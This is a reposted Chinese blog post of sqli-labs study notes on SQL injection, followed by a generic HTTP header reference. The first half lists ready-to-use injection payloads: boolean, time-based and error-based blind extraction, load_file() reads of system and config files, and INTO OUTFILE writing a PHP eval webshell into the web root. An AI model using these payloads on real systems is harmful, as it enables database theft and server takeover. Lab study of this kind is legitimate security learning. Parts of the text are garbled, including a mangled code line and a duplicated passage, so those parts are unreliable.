前言:做了sqli-labs的接近三十關,在這里簡單做個總結,以下是自己在闖關中所學到的知識,包括在網上查詢、參考別人文章以及資料所理解到的,這個隨記比較雜亂,都是我邊學邊寫的,希望大家湊合著看哈,會不定時更新,如果后面內容較多,會考慮分為上下篇,
1、sql注入分類
基于從服務器接收到的回應:
- 基于錯誤的sql注入
- 聯合查詢的型別
- 堆查詢注射
- sql盲注:
- 基于布爾sql盲注
- 基于時間的sql盲注
- 基于報錯的sql盲注
基于如何處理輸入的sql查詢(資料型別):
- 基于字串
- 數字或證書為基礎的
基于程度和順序的注入(哪里發生了影響)
-
一階注射
-
二階注射
一階注射是指輸入的注射陳述句對 WEB 直接產生了影響,出現了結果;
二階注入類似存盤型 XSS,是指輸入提交的陳述句,無法直接對 WEB 應用程式產生影響,通過其它的輔助間接的對 WEB 產生危害,這樣的就被稱為是二階注入.
基于注入點位置上的:
- 通過用戶輸入的表單域的注射
- 通過cookie注射
- 通過服務器變數注射(基于頭部資訊的注射)
2、字串連接函式
-
concat(str1,str2,…)——沒有分隔符地連接字串
-
concat_ws(separator,str1,str2,…)——含有分隔符地連接字串
-
group_concat(str1,str2,…)——連接一個組的所有字串,并以逗號分隔每一條資料
說著比較抽象,其實也并不需要詳細了解,知道這三個函式能一次性查出所有資訊就行了
3、一般用于嘗試的陳述句
–+可以用#替換,url 提交程序中 Url 編碼后的#為**%23**
or 1=1–+
'or 1=1–+
"or 1=1–+
)or 1=1–+
')or 1=1–+
") or 1=1–+
"))or 1=1–+
一般的代碼為:
i d = id= id=_GET[‘id’];
s q l = " S E L E C T ? F R O M u s e r s W H E R E i d = ′ sql="SELECT * FROM users WHERE id=' sql="SELECT?FROMusersWHEREid=′id’ LIMIT 0,1";
此處考慮兩個點,一個是閉合前面你的 ‘ ,另一個是處理后面的 ‘ ,一般采用兩種思路,閉合后面的引號或者注釋掉,注釋掉采用–+ 或者 #
關鍵點:要學會看報錯陳述句,從報錯陳述句中發現原始碼對id的閉合方式:’’、""、(’’)、("")等,
4、sql中的邏輯運算
①Select * from users where id=1 and 1=1;
②Select * from users where id=1 && 1=1;
③Select * from users where id=1 & 1=1;
上述三者有什么區別?
①和②是一樣的,表達的意思是 id=1 條件和 1=1 條件進行與運算;
③的意思是 id=1 條件與 1 進行&位操作,id=1 被當作 true,與 1 進行 & 運算 結果還是 1,再進行=操作,1=1,還是 1(ps:&的優先級大于=)
5、盲注的講解
5.1基于布爾的sql盲注–構造邏輯判斷
我們可以利用邏輯判斷來實作注入,先了解一下截取字串相關函式:
▲left(database(),1)>’s’ //left()函式
Explain:database()顯示資料庫名稱,left(a,b)從左側截取 a 的前 b 位
▲ascii(substr((select table_name information_schema.tables where tables_schema =database()limit 0,1),1,1))=101 --+ //substr()函式,ascii()函式
Explain:substr(a,b,c)從 b 位置開始,截取字串 a 的 c 長度,Ascii()將某個字符轉換為 ascii 值
▲ascii(substr((select database()),1,1))=98
▲ORD(MID((SELECT IFNULL(CAST(username AS CHAR),0x20)FROM security.users ORDER BY id LIMIT 0,1),1,1))>98%23 //ORD()函式,MID()函式
Explain:mid(a,b,c)從位置 b 開始,截取 a 字串的 c 位
Ord()函式同 ascii(),將字符轉為 ascii 值
▲regexp 正則注入
正則注入介紹:http://www.cnblogs.com/lcamry/articles/5717442.html
用法介紹:select user() regexp ‘1’;
Explain:正則運算式的用法,user()結果為 root,regexp 為匹配 root 的正則運算式,
第二位可以用 select user() regexp '^ro’來進行,

當正確的時候顯示結果為 1,不正確的時候顯示結果為 0,
▲like 匹配注入
和上述的正則類似,mysql 在匹配的時候我們可以用 ike 進行匹配,
用法:select user() like ‘ro%’

5.2基于報錯的sql盲注–構造payload讓資訊通過錯誤提示回顯出來
▲Select 1,count(*),concat(0x3a,0x3a,(select user()),0x3a,0x3a,floor(rand(0)*2))a from information_schema.columns group by a;
//explain:此處有三個點,一是需要 concat 計數,二是 floor,取得 0 or 1,進行資料的重復,三是 group by 進行分組,但具體原理解釋不是很通,大致原理為分組后資料計數時重復造成的錯誤,也有解釋為 mysql 的 bug 的問題,但是此處需要將 rand(0),rand()需要多試幾次才行,
以上陳述句可以簡化成如下的形式,
select count(*) from information_schema.tables group by concat(version(), floor(rand(0)*2))
如果關鍵的表被禁用了,可以使用這種形式
select count(*) from (select 1 union select null union select !1) group by concat(version(),floor(rand(0)*2))
如果 rand 被禁用了可以使用用戶變數來報錯
select min(@a:=1) from information_schema.tables group by concat(password,@a:=(@a+1)%2)
▲extractvalue(1,concat(0x7e,(select @@version),0x7e))
//mysql對 xml 資料進行查詢和修改的 xpath 函式,xpath 語法錯誤
▲updatexml(1,concat(0x7e,(select @@version),0x7e),1)
//mysql 對 xml 資料進行查詢和修改的 xpath 函式,xpath 語法錯誤
▲select * from (select NAME_CONST(version(),1),NAME_CONST(version(),1))x;
//mysql 重復特性,此處重復了 version,所以報錯
5.3基于時間的sql盲注–延時注入
▲If(ascii(substr(database(),1,1))>115,0,sleep(5))#
//if 判斷陳述句,條件為假, 執行 sleep
6、匯入匯出相關操作的講解
6.1 load_file()匯出檔案
load_file(file_name):讀取檔案并回傳該檔案的內容作為一個字串,
使用條件:
A、必須有權限讀取并且檔案必須完全可讀
and (select count() from mysql.user)>0/ 如果結果回傳正常,說明具有讀寫權限,
and (select count() from mysql.user)>0/ 回傳錯誤,應該是管理員給資料庫帳戶降權
B、欲讀取檔案必須在服務器上
C、必須指定檔案完整的路徑
D、欲讀取檔案必須小于 max_allowed_packet
如果該檔案不存在,或因為上面的任一原因而不能被讀出,函式回傳空,比較難滿足的就是權限,在 windows 下,如果 NTFS 設定得當,是不能讀取相關的檔案的,當遇到只有 administrators 才能訪問的檔案,users 就別想 load_file 出來, 在實際的注入中,我們有兩個難點需要解決: 絕對物理路徑造有效的畸形陳述句 (報錯爆出絕對路徑) 在很多 PHP 程式中,當提交一個錯誤的 Query,如果 display_errors = on,程式就會暴露WEB 目錄的絕對路徑,只要知道路徑,那么對于一個可以注入的 PHP 程式來說,整個服務器的安全將受到嚴重的威脅
示例:
Select 1,2,3,4,5,6,7,hex(replace(load_file(char(99,58,92,119,105,110,100,111,119,115,92,
114,101,112,97,105,114,92,115,97,109)))
利用 hex()將檔案內容匯出來,尤其是 smb 檔案時可以使用,
-1 union select 1,1,1,load_file(char(99,58,47,98,111,111,116,46,105,110,105))
Explain:“char(99,58,47,98,111,111,116,46,105,110,105)”就是“c:/boot.ini”的 ASCII 代碼
-1 union select 1,1,1,load_file(0x633a2f626f6f742e696e69)
Explain:“c:/boot.ini”的 16 進制是“0x633a2f626f6f742e696e69”
-1 union select 1,1,1,load_file(c:\\boot.ini)
Explain:路徑里的/用 \代替
6.2檔案匯入到資料庫
LOAD DATA INFILE 陳述句用于高速地從一個文本檔案中讀取行,并裝入一個表中,檔案名稱必須為一個文字字串,
在注入程序中,我們往往需要一些特殊的檔案,比如組態檔,密碼檔案等,當你具有資料庫的權限時,可以將系統檔案利用 load data infile 匯入到資料庫中,
使用范例:
load data infile ‘D:/t.txt’ ignore into table t character set gbk fields terminated by ‘\t’ lines terminated by ‘\n’
假設有個系統檔案t.txt在D盤,要匯入到資料庫的t表中(必須先建立t表,不能匯入到沒存在的表,否則會提示表不存在):

mysql> load data infile 'D:/t.txt' ignore into table t character set gbk fields terminated by '\t' lines terminated by '\n';
Query OK, 10 rows affected (0.00 sec)
Records: 10 Deleted: 0 Skipped: 0 Warnings: 0
mysql> select * from t order by id;
+------+------+
| id | name |
+------+------+
| 1 | jkh
| 2 | ada
| 3 | jkj
| 4 | saa
| 5 | dae
| 6 | are
| 7 | jsk
| 8 | oju
| 9 | jks
| 10 | dfp
+------+------+
10 rows in set (0.00 sec)
6.3匯入到檔案
SELECT…INTO OUTFILE ‘file_name’
可以把被選擇的行寫入一個檔案中,該檔案被創建到服務器主機上,因此您必須擁有 FILE權限,才能使用此語法,file_name 不能是一個已經存在的檔案,
我們一般有兩種利用形式:
第一種直接將 select 內容匯入到檔案中:
select version() into outfile “c:\php\htdocs\test.php”
此處也可將version()替換為一句話木馬:<?php @eval(_POST["mima"]);?>
這樣就實作了注入一句話木馬,
第二種修改檔案結尾:
select version() into outfile “c:\phpnow\htdocs\test.php” LINES TERMINATED BY 0x16 進制檔案
解釋:通常是用‘\r\n’結尾,此處我們修改為自己想要的任何檔案,同時可以用 FIELDS TERMINATED BY,16 進制檔案可以為一句話或者其他任何的代碼,可自行構造,在 sqlmap 中 os-shell 采取的就是這樣的方式,
TIPS:
(1)可能在檔案路徑當中要注意轉義,這個要看具體的環境
(2)上述我們提到了 load_file(),但是當前臺無法匯出資料的時候,我們可以利用下面的陳述句:
select load_file(‘c:\wamp\bin\mysql\mysql5.6.17\my.ini’)into outfile
‘c:\wamp\www\test.php’ )
可以利用該陳述句將服務器當中的內容匯入到 web 服務器下的目錄,這樣就可以得到資料了,
上述 my.ini 當中存在 password 項(不過默認被注釋),當然會有很多的內容可以被匯出來,
這個要平時積累,
7、HTTP頭部介紹
在利用抓包工具進行抓包的時候,我們能看到很多的項,下面詳細講解每一項,
HTTP 頭部詳解 :
1、 Accept:告訴 WEB 服務器自己接受什么介質型別,/ 表示任何型別,type/* 表示該型別下的所有子型別,type/sub-type,
2、 Accept-Charset: 瀏覽器申明自己接收的字符集Accept-Encoding: 瀏覽器申明自己接收的編碼方法,通常指定壓縮方法,是否支持壓縮,
支持什么壓縮方法(gzip,deflate)
Accept-Language::瀏覽器申明自己接收的語言
語言跟字符集的區別:中文是語言,中文有多種字符集,比如 big5,gb2312,gbk 等等,
3、 Accept-Ranges:WEB 服務器表明自己是否接受獲取其某個物體的一部分(比如檔案的
一部分)的請求,bytes:表示接受,none:表示不接受,
4、 Age:當代理服務器用自己快取的物體去回應請求時,用該頭部表明該物體從產生到現
在經過多長時間了,
5、 Authorization:當客戶端接收到來自 WEB 服務器的 WWW-Authenticate 回應時,用該
頭部來回應自己的身份驗證資訊給 WEB 服務器,
6、 Cache-Control:請求:no-cache(不要快取的物體,要求現在從 WEB 服務器去取)
max-age:(只接受 Age 值小于 max-age 值,并且沒有過期的物件)
max-stale:(可以接受過去的物件,但是過期時間必須小于 max-stale 值)
min-fresh:(接受其新鮮生命期大于其當前 Age 跟 min-fresh 值之和的快取物件)
回應:public(可以用 Cached 內容回應任何用戶)
private(只能用快取內容回應先前請求該內容的那個用戶)
no-cache(可以快取,但是只有在跟 WEB 服務器驗證了其有效后,才能回傳給客戶端)
max-age:(本回應包含的物件的過期時間)
ALL: no-store(不允許快取)
7、 Connection:請求:close(告訴 WEB 服務器或者代理服務器,在完成本次請求的回應
后,斷開連接,不要等待本次連接的后續請求了),
keepalive(告訴 WEB 服務器或者代理服務器,在完成本次請求的回應后,保持連接,等待
本次連接的后續請求),
回應:close(連接已經關閉),
keepalive(連接保持著,在等待本次連接的后續請求),
Keep-Alive:如果瀏覽器請求保持連接,則該頭部表明希望 WEB 服務器保持連接多長時間(秒),例如:Keep-Alive:300
8、 Content-Encoding:WEB 服務器表明自己使用了什么壓縮方法(gzip,deflate)壓縮回應
中的物件,例如:Content-Encoding:gzip
9、Content-Language:WEB 服務器告訴瀏覽器自己回應的物件的語言,
10、Content-Length:WEB 服務器告訴瀏覽器自己回應的物件的長度,例如:Content-Length: 26012
11、Content-Range: WEB 服務器表明該回應包含的部分物件為整個物件的哪個部分,例如:
Content-Range: bytes 21010-47021/47022
12、Content-Type: WEB 服務器告訴瀏覽器自己回應的物件的型別,例如:Content-Type: application/xml
13、 ETag:就是一個物件(比如 URL)的標志值,就一個物件而言,比如一個 html 檔案,
如果被修改了,其 Etag 也會別修改,所以 ETag 的作用跟 Last-Modified 的作用差不多,主
要供 WEB 服務器判斷一個物件是否改變了,比如前一次請求某個 html 檔案時,獲得了其
ETag,當這次又請求這個檔案時,瀏覽器就會把先前獲得的 ETag 值發送給 WEB 服務器,
然后 WEB 服務器會把這個 ETag 跟該檔案的當前 ETag 進行對比,然后就知道這個檔案有
沒有改變了,
14、 Expired:WEB 服務器表明該物體將在什么時候過期,對于過期了的物件,只有在跟
WEB 服務器驗證了其有效性后,才能用來回應客戶請求,是 HTTP/1.0 的頭部,例如:
Expires:Sat, 23 May 2009 10:02:12 GMT
15、 Host:客戶端指定自己想訪問的 WEB 服務器的域名/IP 地址和埠號,例如:Host:
rss.sina.com.cn
16、 If-Match:如果物件的 ETag 沒有改變,其實也就意味著物件沒有改變,才執行請求的
動作,
17、If-None-Match:如果物件的 ETag 改變了,其實也就意味著物件也改變了,才執行請求
的動作,
18、 If-Modified-Since:如果請求的物件在該頭部指定的時間之后修改了,才執行請求的動
作(比如回傳物件),否則回傳代碼 304,告訴瀏覽器 該物件沒有修改,例如:
If-Modified-Since:Thu, 10 Apr 2008 09:14:42 GMT
19、If-Unmodified-Since:如果請求的物件在該頭部指定的時間之后沒修改過,才執行請求
的動作(比如回傳物件),
20、 If-Range:瀏覽器告訴 WEB 服務器,如果我請求的物件沒有改變,就把我缺少的部分
給我,如果物件改變了,就把整個物件給我,瀏覽器通過發送請求物件的 ETag 或者 自己
所知道的最后修改時間給 WEB 服務器,讓其判斷物件是否改變了,總是跟 Range 頭部一
起使用,
21、 Last-Modified:WEB 服務器認為物件的最后修改時間,比如檔案的最后修改時間,動
態頁面的最后產生時間等等,例如:Last-Modified:Tue, 06 May 2008 02:42:43 GMT
22、 Location:WEB 服務器告訴瀏覽器,試圖訪問的物件已經被移到別的位置了,到該頭
部指定的位置去取 , 例如 :
Location : http://i0.sinaimg.cn /dy/deco/2008/0528/sinahome_0803_ws_005_text_0.gif
23、 Pramga:主要使用 Pramga: no-cache,相當于 Cache-Control: no-cache,
例如:Pragma: no-cache
24、 Proxy-Authenticate: 代理服務器回應瀏覽器,要求其提供代理身份驗證資訊,
Proxy-Authorization:瀏覽器回應代理服務器的身份驗證請求,提供自己的身份資訊,
25、 Range:瀏覽器(比如 Flashget 多執行緒下載時)告訴 WEB 服務器自己想取物件的哪部分,例如:
Range:bytes=1173546-
26、 Referer:瀏覽器向 WEB 服務器表明自己是從哪個 網頁/URL 獲得/點擊 當前請求中 的網址/URL,
例如:Referer:http://www.sina.com/
27、 Server: WEB 服務器表明自己是什么軟體及版本等資訊,例如:Server:Apache/2.0.61 (Unix)
28、 User-Agent: 瀏覽器表明自己的身份(是哪種瀏覽器),例如:User-Agent:Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.8.1.14) Gecko/20080404 Firefox/2、0、0、14
29、 Transfer-Encoding: WEB 服務器表明自己對本回應訊息體(不是訊息體里面的物件)作了怎樣的編碼,比如是否分塊(chunked),例如:Transfer-Encoding: chunked
30、 Vary: WEB 服務器用該頭部的內容告訴 Cache 服務器,在什么條件下才能用本回應所 回傳的物件回應后續的請求,
假如源 WEB 服務器在接到第一個請求訊息時,其回應訊息的 頭部為:Content- Encoding: gzip; Vary: Content-Encoding
那么 Cache 服務器會分析后續請求 訊息的頭部,檢查其 Accept-Encoding,是否跟先前回應的 Vary 頭部值一致,即是否
使用 相同的內容編碼方法,這樣就可以防止 Cache 服務器用自己 Cache 里面壓縮后的物體回應 給不具備解壓能力的瀏覽器,
例如:Vary:Accept-Encoding
31、 Via: 列出從客戶端到 OCS 或者相反方向的回應經過了哪些代理服務器,他們用什么協議(和版本)發送的請求,
當客戶端請求到達第一個代理服務器時,該服務器會在自己發出的請求里面添 加 Via 頭部,并填上自己的相關資訊,當下
一個代理服務器收到第一個代理服務器的請求時,會在自己發出的請求里面復制前一個代理服務器的請求的 Via 頭部,并
把自己的相關資訊加到后面,以此類推,當 OCS 收到最后一個代理服務器的請求時,檢查 Via 頭部,就知道該請求所經
過的路由,例如:Via:1.0 236.D0707195.sina.com.cn:80 (squid/2.6.STABLE13)
析后續請求 訊息的頭部,檢查其 Accept-Encoding,是否跟先前回應的 Vary 頭部值一致,即是否
使用 相同的內容編碼方法,這樣就可以防止 Cache 服務器用自己 Cache 里面壓縮后的物體回應 給不具備解壓能力的瀏覽器,
例如:Vary:Accept-Encoding
31、 Via: 列出從客戶端到 OCS 或者相反方向的回應經過了哪些代理服務器,他們用什么協議(和版本)發送的請求,
當客戶端請求到達第一個代理服務器時,該服務器會在自己發出的請求里面添 加 Via 頭部,并填上自己的相關資訊,當下
一個代理服務器收到第一個代理服務器的請求時,會在自己發出的請求里面復制前一個代理服務器的請求的 Via 頭部,并
把自己的相關資訊加到后面,以此類推,當 OCS 收到最后一個代理服務器的請求時,檢查 Via 頭部,就知道該請求所經
過的路由,例如:Via:1.0 236.D0707195.sina.com.cn:80 (squid/2.6.STABLE13)
a-z ??
轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/356723.html
標籤:其他
下一篇:魯迅先生,對不住了
